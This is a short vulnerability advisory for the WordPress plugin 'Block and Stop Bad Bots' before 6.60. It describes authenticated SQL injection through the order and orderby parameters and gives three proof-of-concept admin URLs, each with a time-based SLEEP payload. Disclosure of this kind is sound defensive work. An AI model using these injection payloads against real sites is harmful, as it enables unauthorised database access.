WordPress Plugin Vulnerabilities

Block and Stop Bad Bots < 6.60 - Authenticated SQL Injections

Description

The plugin did not validate or escape the order and orderby GET parameter in some of its admin dashboard pages, leading to Authenticated SQL Injections

Proof of Concept

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page2&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page3&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc